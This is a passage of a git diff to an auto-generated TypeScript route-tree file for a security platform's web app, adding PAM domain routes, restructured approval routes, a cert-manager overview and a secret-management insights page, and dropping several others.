   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ai/$projectId/_ai-layout/overview': typeof aiMCPPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ai/$projectId/_ai-layout/settings': typeof aiSettingsPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/alerting': typeof certManagerAlertingPageRouteRoute
-  '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals': typeof certManagerApprovalsPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/certificate-authorities': typeof certManagerCertificateAuthoritiesPageRouteRoute
+  '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/overview': typeof certManagerDashboardPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/policies': typeof certManagerPoliciesPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/settings': typeof certManagerSettingsPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/kms/$projectId/_kms-layout/kmip': typeof kmsKmipPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/kms/$projectId/_kms-layout/overview': typeof kmsOverviewPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/kms/$projectId/_kms-layout/settings': typeof kmsSettingsPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/account-policies': typeof pamPamAccountPoliciesPageRouteRoute
-  '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals': typeof pamApprovalsPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/settings': typeof pamSettingsPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/allowlist': typeof secretManagerIPAllowlistPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/approval': typeof secretManagerSecretApprovalsPageRouteRoute
+  '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/insights': typeof secretManagerInsightsPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/overview': typeof secretManagerOverviewPageRouteRoute
-  '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/secret-rotation': typeof secretManagerSecretRotationPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/settings': typeof secretManagerSettingsPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-scanning/$projectId/_secret-scanning-layout/findings': typeof secretScanningSecretScanningFindingsPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-scanning/$projectId/_secret-scanning-layout/settings': typeof secretScanningSettingsPageRouteRoute
@@ -6388,10 +6630,12 @@ export interface FileRoutesById {
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ssh/$projectId/_ssh-layout/certificates': typeof sshSshCertsPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ssh/$projectId/_ssh-layout/overview': typeof sshSshHostsPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ssh/$projectId/_ssh-layout/settings': typeof sshSettingsPageRouteRoute
+  '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/': typeof certManagerDashboardPageRouteIndexRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ai/$projectId/_ai-layout/access-management': typeof projectAccessControlPageRouteAiRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ai/$projectId/_ai-layout/audit-logs': typeof projectAuditLogsPageRouteAiRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/access-management': typeof projectAccessControlPageRouteCertManagerRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/app-connections': typeof projectAppConnectionsPageRouteCertManagerRoute
+  '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutApprovalsRouteWithChildren
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/audit-logs': typeof projectAuditLogsPageRouteCertManagerRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/certificate-templates': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutCertificateTemplatesRouteWithChildren
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/code-signing': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutCodeSigningRouteWithChildren
@@ -6401,8 +6645,10 @@ export interface FileRoutesById {
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/kms/$projectId/_kms-layout/access-management': typeof projectAccessControlPageRouteKmsRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/kms/$projectId/_kms-layout/audit-logs': typeof projectAuditLogsPageRouteKmsRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/access-management': typeof projectAccessControlPageRoutePamRoute
+  '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutApprovalsRouteWithChildren
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/audit-logs': typeof projectAuditLogsPageRoutePamRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/discovery': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDiscoveryRouteWithChildren
+  '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsRouteWithChildren
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutResourcesRouteWithChildren
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/sessions': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutSessionsRouteWithChildren
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/access-management': typeof projectAccessControlPageRouteSecretManagerRoute
@@ -6415,26 +6661,29 @@ export interface FileRoutesById {
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-scanning/$projectId/_secret-scanning-layout/data-sources': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsSecretScanningProjectIdSecretScanningLayoutDataSourcesRouteWithChildren
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ssh/$projectId/_ssh-layout/access-management': typeof projectAccessControlPageRouteSshRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ssh/$projectId/_ssh-layout/audit-logs': typeof projectAuditLogsPageRouteSshRoute
+  '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals/': typeof certManagerApprovalsPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/certificate-templates/': typeof certManagerPkiTemplateListPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/code-signing/': typeof certManagerCodeSigningPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/discovery/': typeof certManagerDiscoveryPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/integrations/': typeof certManagerIntegrationsListPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/subscribers/': typeof certManagerPkiSubscribersPageRouteRoute
+  '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals/': typeof pamApprovalsPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/discovery/': typeof pamPamDiscoveryPageRouteRoute
+  '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/': typeof pamPamDomainsPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/': typeof pamPamResourcesPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/sessions/': typeof pamPamSessionsPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/integrations/': typeof secretManagerIntegrationsListPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-scanning/$projectId/_secret-scanning-layout/data-sources/': typeof secretScanningSecretScanningDataSourcesPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ai/$projectId/_ai-layout/mcp-endpoints/$endpointId': typeof aiMCPEndpointDetailPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ai/$projectId/_ai-layout/mcp-servers/$serverId': typeof aiMCPServerDetailPageRouteRoute
-  '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approval-requests/$approvalRequestId': typeof certManagerApprovalRequestDetailPageRouteRoute
+  '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals/$approvalRequestId': typeof certManagerApprovalRequestDetailPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/ca/$caId': typeof certManagerCertAuthDetailsByIDPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/certificates/$certificateId': typeof certManagerCertificateDetailsByIDPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/code-signing/$signerId': typeof certManagerSignerDetailPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/discovery/$discoveryId': typeof certManagerDiscoveryDetailsByIDPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/integrations/$syncId': typeof certManagerPkiSyncDetailsByIDPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/subscribers/$subscriberName': typeof certManagerPkiSubscriberDetailsByIDPageRouteRoute
-  '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approval-requests/$approvalRequestId': typeof pamApprovalRequestDetailPageRouteRoute
+  '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals/$approvalRequestId': typeof pamApprovalRequestDetailPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/sessions/$sessionId': typeof pamPamSessionsByIDPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/integrations/$integrationId': typeof secretManagerIntegrationsDetailsByIDPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/integrations/select-integration-auth': typeof secretManagerIntegrationsSelectIntegrationAuthPageRouteRoute
@@ -6538,8 +6787,10 @@ export interface FileRoutesById {
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/integrations/windmill/authorize': typeof secretManagerIntegrationsWindmillAuthorizePageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/integrations/windmill/create': typeof secretManagerIntegrationsWindmillConfigurePageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-scanning/$projectId/_secret-scanning-layout/data-sources/$type/$dataSourceId': typeof secretScanningSecretScanningDataSourceByIdPageRouteRoute
+  '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdRouteWithChildren
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutResourcesResourceTypeResourceIdRouteWithChildren
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/commits/$environment/$folderId': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsSecretManagementProjectIdSecretManagerLayoutCommitsEnvironmentFolderIdRouteWithChildren
+  '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId/': typeof pamPamDomainByIDPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId/': typeof pamPamResourceByIDPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/commits/$environment/$folderId/': typeof secretManagerCommitsPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/integrations/azure-app-configuration/oauth2/callback': typeof secretManagerIntegrationsAzureAppConfigurationOauthCallbackPageRouteRoute
@@ -6556,7 +6807,9 @@ export interface FileRoutesById {
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/commits/$environment/$folderId/$commitId': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsSecretManagementProjectIdSecretManagerLayoutCommitsEnvironmentFolderIdCommitIdRouteWithChildren
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/commits/$environment/$folderId/$commitId/': typeof secretManagerCommitDetailsPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/commits/$environment/$folderId/$commitId/restore': typeof secretManagerCommitDetailsPageComponentsRollbackPreviewTabRouteRoute
+  '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId/accounts/$accountId': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdAccountsAccountIdRouteWithChildren
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId/accounts/$accountId': typeof AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutResourcesResourceTypeResourceIdAccountsAccountIdRouteWithChildren
+  '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId/accounts/$accountId/': typeof pamPamDomainAccountByIDPageRouteRoute
   '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId/accounts/$accountId/': typeof pamPamAccountByIDPageRouteRoute
 }
 
@@ -6566,7 +6819,6 @@ export interface FileRouteTypes {
     | '/'
     | '/cli-redirect'
     | '/share-secret'
-    | '/upgrade-path'
     | ''
     | '/password-setup'
     | '/account-recovery'
@@ -6592,7 +6844,6 @@ export interface FileRouteTypes {
     | '/admin'
     | '/personal-settings/'
     | '/login/provider/error'
-    | '/login/provider/success'
     | '/integrations'
     | '/admin/'
     | '/admin/access-management'
@@ -6642,20 +6893,19 @@ export interface FileRouteTypes {
     | '/organizations/$orgId/projects/ai/$projectId/overview'
     | '/organizations/$orgId/projects/ai/$projectId/settings'
     | '/organizations/$orgId/projects/cert-manager/$projectId/alerting'
-    | '/organizations/$orgId/projects/cert-manager/$projectId/approvals'
     | '/organizations/$orgId/projects/cert-manager/$projectId/certificate-authorities'
+    | '/organizations/$orgId/projects/cert-manager/$projectId/overview'
     | '/organizations/$orgId/projects/cert-manager/$projectId/policies'
     | '/organizations/$orgId/projects/cert-manager/$projectId/settings'
     | '/organizations/$orgId/projects/kms/$projectId/kmip'
     | '/organizations/$orgId/projects/kms/$projectId/overview'
     | '/organizations/$orgId/projects/kms/$projectId/settings'
     | '/organizations/$orgId/projects/pam/$projectId/account-policies'
-    | '/organizations/$orgId/projects/pam/$projectId/approvals'
     | '/organizations/$orgId/projects/pam/$projectId/settings'
     | '/organizations/$orgId/projects/secret-management/$projectId/allowlist'
     | '/organizations/$orgId/projects/secret-management/$projectId/approval'
+    | '/organizations/$orgId/projects/secret-management/$projectId/insights'
     | '/organizations/$orgId/projects/secret-management/$projectId/overview'
-    | '/organizations/$orgId/projects/secret-management/$projectId/secret-rotation'
     | '/organizations/$orgId/projects/secret-management/$projectId/settings'
     | '/organizations/$orgId/projects/secret-scanning/$projectId/findings'
     | '/organizations/$orgId/projects/secret-scanning/$projectId/settings'
@@ -6663,10 +6913,12 @@ export interface FileRouteTypes {
     | '/organizations/$orgId/projects/ssh/$projectId/certificates'
     | '/organizations/$orgId/projects/ssh/$projectId/overview'
     | '/organizations/$orgId/projects/ssh/$projectId/settings'
+    | '/organizations/$orgId/projects/cert-manager/$projectId/'
     | '/organizations/$orgId/projects/ai/$projectId/access-management'
     | '/organizations/$orgId/projects/ai/$projectId/audit-logs'
     | '/organizations/$orgId/projects/cert-manager/$projectId/access-management'
     | '/organizations/$orgId/projects/cert-manager/$projectId/app-connections'
+    | '/organizations/$orgId/projects/cert-manager/$projectId/approvals'
     | '/organizations/$orgId/projects/cert-manager/$projectId/audit-logs'
     | '/organizations/$orgId/projects/cert-manager/$projectId/certificate-templates'
     | '/organizations/$orgId/projects/cert-manager/$projectId/code-signing'
@@ -6676,8 +6928,10 @@ export interface FileRouteTypes {
     | '/organizations/$orgId/projects/kms/$projectId/access-management'
     | '/organizations/$orgId/projects/kms/$projectId/audit-logs'
     | '/organizations/$orgId/projects/pam/$projectId/access-management'
+    | '/organizations/$orgId/projects/pam/$projectId/approvals'
     | '/organizations/$orgId/projects/pam/$projectId/audit-logs'
     | '/organizations/$orgId/projects/pam/$projectId/discovery'
+    | '/organizations/$orgId/projects/pam/$projectId/domains'
     | '/organizations/$orgId/projects/pam/$projectId/resources'
     | '/organizations/$orgId/projects/pam/$projectId/sessions'
     | '/organizations/$orgId/projects/secret-management/$projectId/access-management'
@@ -6690,26 +6944,29 @@ export interface FileRouteTypes {
     | '/organizations/$orgId/projects/secret-scanning/$projectId/data-sources'
     | '/organizations/$orgId/projects/ssh/$projectId/access-management'
     | '/organizations/$orgId/projects/ssh/$projectId/audit-logs'
+    | '/organizations/$orgId/projects/cert-manager/$projectId/approvals/'
     | '/organizations/$orgId/projects/cert-manager/$projectId/certificate-templates/'
     | '/organizations/$orgId/projects/cert-manager/$projectId/code-signing/'
     | '/organizations/$orgId/projects/cert-manager/$projectId/discovery/'
     | '/organizations/$orgId/projects/cert-manager/$projectId/integrations/'
     | '/organizations/$orgId/projects/cert-manager/$projectId/subscribers/'
+    | '/organizations/$orgId/projects/pam/$projectId/approvals/'
     | '/organizations/$orgId/projects/pam/$projectId/discovery/'
+    | '/organizations/$orgId/projects/pam/$projectId/domains/'
     | '/organizations/$orgId/projects/pam/$projectId/resources/'
     | '/organizations/$orgId/projects/pam/$projectId/sessions/'
     | '/organizations/$orgId/projects/secret-management/$projectId/integrations/'
     | '/organizations/$orgId/projects/secret-scanning/$projectId/data-sources/'
     | '/organizations/$orgId/projects/ai/$projectId/mcp-endpoints/$endpointId'
     | '/organizations/$orgId/projects/ai/$projectId/mcp-servers/$serverId'
-    | '/organizations/$orgId/projects/cert-manager/$projectId/approval-requests/$approvalRequestId'
+    | '/organizations/$orgId/projects/cert-manager/$projectId/approvals/$approvalRequestId'
     | '/organizations/$orgId/projects/cert-manager/$projectId/ca/$caId'
     | '/organizations/$orgId/projects/cert-manager/$projectId/certificates/$certificateId'
     | '/organizations/$orgId/projects/cert-manager/$projectId/code-signing/$signerId'
     | '/organizations/$orgId/projects/cert-manager/$projectId/discovery/$discoveryId'
     | '/organizations/$orgId/projects/cert-manager/$projectId/integrations/$syncId'
     | '/organizations/$orgId/projects/cert-manager/$projectId/subscribers/$subscriberName'
-    | '/organizations/$orgId/projects/pam/$projectId/approval-requests/$approvalRequestId'
+    | '/organizations/$orgId/projects/pam/$projectId/approvals/$approvalRequestId'
     | '/organizations/$orgId/projects/pam/$projectId/sessions/$sessionId'
     | '/organizations/$orgId/projects/secret-management/$projectId/integrations/$integrationId'
     | '/organizations/$orgId/projects/secret-management/$projectId/integrations/select-integration-auth'
@@ -6813,8 +7070,10 @@ export interface FileRouteTypes {
     | '/organizations/$orgId/projects/secret-management/$projectId/integrations/windmill/authorize'
     | '/organizations/$orgId/projects/secret-management/$projectId/integrations/windmill/create'
     | '/organizations/$orgId/projects/secret-scanning/$projectId/data-sources/$type/$dataSourceId'
+    | '/organizations/$orgId/projects/pam/$projectId/domains/$domainType/$domainId'
     | '/organizations/$orgId/projects/pam/$projectId/resources/$resourceType/$resourceId'
     | '/organizations/$orgId/projects/secret-management/$projectId/commits/$environment/$folderId'
+    | '/organizations/$orgId/projects/pam/$projectId/domains/$domainType/$domainId/'
     | '/organizations/$orgId/projects/pam/$projectId/resources/$resourceType/$resourceId/'
     | '/organizations/$orgId/projects/secret-management/$projectId/commits/$environment/$folderId/'
     | '/organizations/$orgId/projects/secret-management/$projectId/integrations/azure-app-configuration/oauth2/callback'
@@ -6831,14 +7090,15 @@ export interface FileRouteTypes {
     | '/organizations/$orgId/projects/secret-management/$projectId/commits/$environment/$folderId/$commitId'
     | '/organizations/$orgId/projects/secret-management/$projectId/commits/$environment/$folderId/$commitId/'
     | '/organizations/$orgId/projects/secret-management/$projectId/commits/$environment/$folderId/$commitId/restore'
+    | '/organizations/$orgId/projects/pam/$projectId/domains/$domainType/$domainId/accounts/$accountId'
     | '/organizations/$orgId/projects/pam/$projectId/resources/$resourceType/$resourceId/accounts/$accountId'
+    | '/organizations/$orgId/projects/pam/$projectId/domains/$domainType/$domainId/accounts/$accountId/'
     | '/organizations/$orgId/projects/pam/$projectId/resources/$resourceType/$resourceId/accounts/$accountId/'
   fileRoutesByTo: FileRoutesByTo
   to:
     | '/'
     | '/cli-redirect'
     | '/share-secret'
-    | '/upgrade-path'
     | ''
     | '/password-setup'
     | '/account-recovery'
@@ -6861,7 +7121,6 @@ export interface FileRouteTypes {
     | '/shared/secret/$secretId'
     | '/admin'
     | '/login/provider/error'
-    | '/login/provider/success'
     | '/integrations'
     | '/admin/access-management'
     | '/admin/authentication'
@@ -6907,20 +7166,19 @@ export interface FileRouteTypes {
     | '/organizations/$orgId/projects/ai/$projectId/overview'
     | '/organizations/$orgId/projects/ai/$projectId/settings'
     | '/organizations/$orgId/projects/cert-manager/$projectId/alerting'
-    | '/organizations/$orgId/projects/cert-manager/$projectId/approvals'
     | '/organizations/$orgId/projects/cert-manager/$projectId/certificate-authorities'
+    | '/organizations/$orgId/projects/cert-manager/$projectId/overview'
     | '/organizations/$orgId/projects/cert-manager/$projectId/policies'
     | '/organizations/$orgId/projects/cert-manager/$projectId/settings'
     | '/organizations/$orgId/projects/kms/$projectId/kmip'
     | '/organizations/$orgId/projects/kms/$projectId/overview'
     | '/organizations/$orgId/projects/kms/$projectId/settings'
     | '/organizations/$orgId/projects/pam/$projectId/account-policies'
-    | '/organizations/$orgId/projects/pam/$projectId/approvals'
     | '/organizations/$orgId/projects/pam/$projectId/settings'
     | '/organizations/$orgId/projects/secret-management/$projectId/allowlist'
     | '/organizations/$orgId/projects/secret-management/$projectId/approval'
+    | '/organizations/$orgId/projects/secret-management/$projectId/insights'
     | '/organizations/$orgId/projects/secret-management/$projectId/overview'
-    | '/organizations/$orgId/projects/secret-management/$projectId/secret-rotation'
     | '/organizations/$orgId/projects/secret-management/$projectId/settings'
     | '/organizations/$orgId/projects/secret-scanning/$projectId/findings'
     | '/organizations/$orgId/projects/secret-scanning/$projectId/settings'
@@ -6945,26 +7203,29 @@ export interface FileRouteTypes {
     | '/organizations/$orgId/projects/secret-scanning/$projectId/audit-logs'
     | '/organizations/$orgId/projects/ssh/$projectId/access-management'
     | '/organizations/$orgId/projects/ssh/$projectId/audit-logs'
+    | '/organizations/$orgId/projects/cert-manager/$projectId/approvals'
     | '/organizations/$orgId/projects/cert-manager/$projectId/certificate-templates'
     | '/organizations/$orgId/projects/cert-manager/$projectId/code-signing'
     | '/organizations/$orgId/projects/cert-manager/$projectId/discovery'
     | '/organizations/$orgId/projects/cert-manager/$projectId/integrations'
     | '/organizations/$orgId/projects/cert-manager/$projectId/subscribers'
+    | '/organizations/$orgId/projects/pam/$projectId/approvals'
     | '/organizations/$orgId/projects/pam/$projectId/discovery'
+    | '/organizations/$orgId/projects/pam/$projectId/domains'
     | '/organizations/$orgId/projects/pam/$projectId/resources'
     | '/organizations/$orgId/projects/pam/$projectId/sessions'
     | '/organizations/$orgId/projects/secret-management/$projectId/integrations'
     | '/organizations/$orgId/projects/secret-scanning/$projectId/data-sources'
     | '/organizations/$orgId/projects/ai/$projectId/mcp-endpoints/$endpointId'
     | '/organizations/$orgId/projects/ai/$projectId/mcp-servers/$serverId'
-    | '/organizations/$orgId/projects/cert-manager/$projectId/approval-requests/$approvalRequestId'
+    | '/organizations/$orgId/projects/cert-manager/$projectId/approvals/$approvalRequestId'
     | '/organizations/$orgId/projects/cert-manager/$projectId/ca/$caId'
     | '/organizations/$orgId/projects/cert-manager/$projectId/certificates/$certificateId'
     | '/organizations/$orgId/projects/cert-manager/$projectId/code-signing/$signerId'
     | '/organizations/$orgId/projects/cert-manager/$projectId/discovery/$discoveryId'
     | '/organizations/$orgId/projects/cert-manager/$projectId/integrations/$syncId'
     | '/organizations/$orgId/projects/cert-manager/$projectId/subscribers/$subscriberName'
-    | '/organizations/$orgId/projects/pam/$projectId/approval-requests/$approvalRequestId'
+    | '/organizations/$orgId/projects/pam/$projectId/approvals/$approvalRequestId'
     | '/organizations/$orgId/projects/pam/$projectId/sessions/$sessionId'
     | '/organizations/$orgId/projects/secret-management/$projectId/integrations/$integrationId'
     | '/organizations/$orgId/projects/secret-management/$projectId/integrations/select-integration-auth'
@@ -7068,6 +7329,7 @@ export interface FileRouteTypes {
     | '/organizations/$orgId/projects/secret-management/$projectId/integrations/windmill/authorize'
     | '/organizations/$orgId/projects/secret-management/$projectId/integrations/windmill/create'
     | '/organizations/$orgId/projects/secret-scanning/$projectId/data-sources/$type/$dataSourceId'
+    | '/organizations/$orgId/projects/pam/$projectId/domains/$domainType/$domainId'
     | '/organizations/$orgId/projects/pam/$projectId/resources/$resourceType/$resourceId'
     | '/organizations/$orgId/projects/secret-management/$projectId/commits/$environment/$folderId'
     | '/organizations/$orgId/projects/secret-management/$projectId/integrations/azure-app-configuration/oauth2/callback'
@@ -7083,13 +7345,13 @@ export interface FileRouteTypes {
     | '/organizations/$orgId/projects/pam/$projectId/resources/$resourceType/$resourceId/accounts/$accountId/access'
     | '/organizations/$orgId/projects/secret-management/$projectId/commits/$environment/$folderId/$commitId'
     | '/organizations/$orgId/projects/secret-management/$projectId/commits/$environment/$folderId/$commitId/restore'
+    | '/organizations/$orgId/projects/pam/$projectId/domains/$domainType/$domainId/accounts/$accountId'
     | '/organizations/$orgId/projects/pam/$projectId/resources/$resourceType/$resourceId/accounts/$accountId'
   id:
     | '__root__'
     | '/'
     | '/cli-redirect'
